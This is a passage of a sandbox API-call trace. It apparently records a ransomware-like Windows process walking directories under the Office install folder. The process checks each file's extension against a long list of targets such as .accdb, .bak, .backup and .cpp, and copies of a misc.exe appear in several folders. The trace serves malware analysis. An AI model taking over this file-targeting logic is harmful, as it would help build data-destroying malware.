returned 0x6cf988 [0251.165] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0251.165] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc38b3c05, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0251.165] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc38b3c05, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 0 [0251.165] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0251.165] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.165] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1 [0251.165] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4155070 [0251.165] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfdc8 [0251.166] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0251.166] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2b4a894, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 1 [0251.166] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2b4a894, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfaea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="misc.exe", cAlternateFileName="")) returned 0 [0251.166] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0251.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.166] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0 [0251.166] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0251.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0251.166] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0251.166] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4188318 [0251.166] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\*", lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cf988 [0251.167] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.167] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 1 [0251.167] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4155070 [0251.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\*", lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd48 [0251.168] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0251.168] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QHEADLES", cAlternateFileName="")) returned 1 [0251.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0251.168] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cf6c8 [0251.168] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.168] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0251.168] FindClose (in: hFindFile=0x6cf6c8 | out: hFindFile=0x6cf6c8) returned 1 [0251.168] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.168] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1 [0251.168] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41dde40 [0251.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\*", lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfa48 [0251.169] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.169] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0251.169] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0251.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0251.169] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0 [0251.169] FindClose (in: hFindFile=0x6cfd48 | out: hFindFile=0x6cfd48) returned 1 [0251.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0251.169] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0 [0251.169] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0251.169] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0251.169] FindNextFileW (in: hFindFile=0x6cfa08, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1 [0251.170] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4188318 [0251.170] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\*", lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfa48 [0251.170] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.170] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd45391ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd45391ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd49fdd24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x166b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL12.XLSX", cAlternateFileName="EXCEL1~1.XLS")) returned 1 [0251.170] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b285e60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x2c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPROJ11.MPP", cAlternateFileName="")) returned 1 [0251.170] lstrlenW (lpString="MSPROJ11.MPP") returned 12 [0251.170] lstrlenW (lpString=".1cd") returned 4 [0251.171] lstrcmpiW (lpString1=".1cd", lpString2=".MPP") returned -1 [0251.171] lstrlenW (lpString=".3ds") returned 4 [0251.171] lstrcmpiW (lpString1=".3ds", lpString2=".MPP") returned -1 [0251.171] lstrlenW (lpString=".3fr") returned 4 [0251.171] lstrcmpiW (lpString1=".3fr", lpString2=".MPP") returned -1 [0251.171] lstrlenW (lpString=".3g2") returned 4 [0251.171] lstrcmpiW (lpString1=".3g2", lpString2=".MPP") returned -1 [0251.171] lstrlenW (lpString=".3gp") returned 4 [0251.171] lstrcmpiW (lpString1=".3gp", lpString2=".MPP") returned -1 [0251.171] lstrlenW (lpString=".7z") returned 3 [0251.171] lstrcmpiW (lpString1=".7z", lpString2="MPP") returned -1 [0251.171] lstrlenW (lpString=".accda") returned 6 [0251.171] lstrcmpiW (lpString1=".accda", lpString2="11.MPP") returned -1 [0251.171] lstrlenW (lpString=".accdb") returned 6 [0251.171] lstrcmpiW (lpString1=".accdb", lpString2="11.MPP") returned -1 [0251.171] lstrlenW (lpString=".accdc") returned 6 [0251.171] lstrcmpiW (lpString1=".accdc", lpString2="11.MPP") returned -1 [0251.171] lstrlenW (lpString=".accde") returned 6 [0251.171] lstrcmpiW (lpString1=".accde", lpString2="11.MPP") returned -1 [0251.171] lstrlenW (lpString=".accdt") returned 6 [0251.171] lstrcmpiW (lpString1=".accdt", lpString2="11.MPP") returned -1 [0251.171] lstrlenW (lpString=".accdw") returned 6 [0251.171] lstrcmpiW (lpString1=".accdw", lpString2="11.MPP") returned -1 [0251.171] lstrlenW (lpString=".adb") returned 4 [0251.171] lstrcmpiW (lpString1=".adb", lpString2=".MPP") returned -1 [0251.171] lstrlenW (lpString=".adp") returned 4 [0251.171] lstrcmpiW (lpString1=".adp", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".ai") returned 3 [0251.172] lstrcmpiW (lpString1=".ai", lpString2="MPP") returned -1 [0251.172] lstrlenW (lpString=".ai3") returned 4 [0251.172] lstrcmpiW (lpString1=".ai3", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".ai4") returned 4 [0251.172] lstrcmpiW (lpString1=".ai4", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".ai5") returned 4 [0251.172] lstrcmpiW (lpString1=".ai5", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".ai6") returned 4 [0251.172] lstrcmpiW (lpString1=".ai6", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".ai7") returned 4 [0251.172] lstrcmpiW (lpString1=".ai7", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".ai8") returned 4 [0251.172] lstrcmpiW (lpString1=".ai8", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".anim") returned 5 [0251.172] lstrcmpiW (lpString1=".anim", lpString2="1.MPP") returned -1 [0251.172] lstrlenW (lpString=".arw") returned 4 [0251.172] lstrcmpiW (lpString1=".arw", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".as") returned 3 [0251.172] lstrcmpiW (lpString1=".as", lpString2="MPP") returned -1 [0251.172] lstrlenW (lpString=".asa") returned 4 [0251.172] lstrcmpiW (lpString1=".asa", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".asc") returned 4 [0251.172] lstrcmpiW (lpString1=".asc", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".ascx") returned 5 [0251.172] lstrcmpiW (lpString1=".ascx", lpString2="1.MPP") returned -1 [0251.172] lstrlenW (lpString=".asm") returned 4 [0251.172] lstrcmpiW (lpString1=".asm", lpString2=".MPP") returned -1 [0251.172] lstrlenW (lpString=".asmx") returned 5 [0251.173] lstrcmpiW (lpString1=".asmx", lpString2="1.MPP") returned -1 [0251.173] lstrlenW (lpString=".asp") returned 4 [0251.173] lstrcmpiW (lpString1=".asp", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".aspx") returned 5 [0251.173] lstrcmpiW (lpString1=".aspx", lpString2="1.MPP") returned -1 [0251.173] lstrlenW (lpString=".asr") returned 4 [0251.173] lstrcmpiW (lpString1=".asr", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".asx") returned 4 [0251.173] lstrcmpiW (lpString1=".asx", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".avi") returned 4 [0251.173] lstrcmpiW (lpString1=".avi", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".avs") returned 4 [0251.173] lstrcmpiW (lpString1=".avs", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".backup") returned 7 [0251.173] lstrcmpiW (lpString1=".backup", lpString2="J11.MPP") returned -1 [0251.173] lstrlenW (lpString=".bak") returned 4 [0251.173] lstrcmpiW (lpString1=".bak", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".bay") returned 4 [0251.173] lstrcmpiW (lpString1=".bay", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".bd") returned 3 [0251.173] lstrcmpiW (lpString1=".bd", lpString2="MPP") returned -1 [0251.173] lstrlenW (lpString=".bin") returned 4 [0251.173] lstrcmpiW (lpString1=".bin", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".bmp") returned 4 [0251.173] lstrcmpiW (lpString1=".bmp", lpString2=".MPP") returned -1 [0251.173] lstrlenW (lpString=".bz2") returned 4 [0251.174] lstrcmpiW (lpString1=".bz2", lpString2=".MPP") returned -1 [0251.174] lstrlenW (lpString=".c") returned 2 [0251.174] lstrcmpiW (lpString1=".c", lpString2="PP") returned -1 [0251.174] lstrlenW (lpString=".cdr") returned 4 [0251.174] lstrcmpiW (lpString1=".cdr", lpString2=".MPP") returned -1 [0251.174] lstrlenW (lpString=".cer") returned 4 [0251.174] lstrcmpiW (lpString1=".cer", lpString2=".MPP") returned -1 [0251.174] lstrlenW (lpString=".cf") returned 3 [0251.174] lstrcmpiW (lpString1=".cf", lpString2="MPP") returned -1 [0251.174] lstrlenW (lpString=".cfc") returned 4 [0251.174] lstrcmpiW (lpString1=".cfc", lpString2=".MPP") returned -1 [0251.174] lstrlenW (lpString=".cfm") returned 4 [0251.174] lstrcmpiW (lpString1=".cfm", lpString2=".MPP") returned -1 [0251.174] lstrlenW (lpString=".cfml") returned 5 [0251.174] lstrcmpiW (lpString1=".cfml", lpString2="1.MPP") returned -1 [0251.174] lstrlenW (lpString=".cfu") returned 4 [0251.174] lstrcmpiW (lpString1=".cfu", lpString2=".MPP") returned -1 [0251.174] lstrlenW (lpString=".chm") returned 4 [0251.174] lstrcmpiW (lpString1=".chm", lpString2=".MPP") returned -1 [0251.174] lstrlenW (lpString=".cin") returned 4 [0251.174] lstrcmpiW (lpString1=".cin", lpString2=".MPP") returned -1 [0251.174] lstrlenW (lpString=".class") returned 6 [0251.174] lstrcmpiW (lpString1=".class", lpString2="11.MPP") returned -1 [0251.174] lstrlenW (lpString=".clx") returned 4 [0251.175] lstrcmpiW (lpString1=".clx", lpString2=".MPP") returned -1 [0251.175] lstrlenW (lpString=".config") returned 7 [0251.175] lstrcmpiW (lpString1=".config", lpString2="J11.MPP") returned -1 [0251.175] lstrlenW (lpString=".cpp") returned 4 [0251.175] lstrcmpiW (lpString1=".cpp", lpString2=".MPP") returned -1 [0251.175] lstrlenW (lpString=".cr2") returned 4 [0251.175] lstrcmpiW (lpString1=".cr2", lpString2=".MPP") returned -1 [0251.175] lstrlenW (lpString=".crt") returned 4 [0251.175] lstrcmpiW (lpString1=".crt", lpString2=".MPP") returned -1 [0251.175] lstrlenW (lpString=".crw") returned 4 [0251.175] lstrcmpiW (lpString1=".crw", lpString2=".MPP") returned -1 [0251.175] lstrlenW (lpString=".cs") returned 3 [0251.175] lstrcmpiW (lpString1=".cs", lpString2="MPP") returned -1 [0251.175] 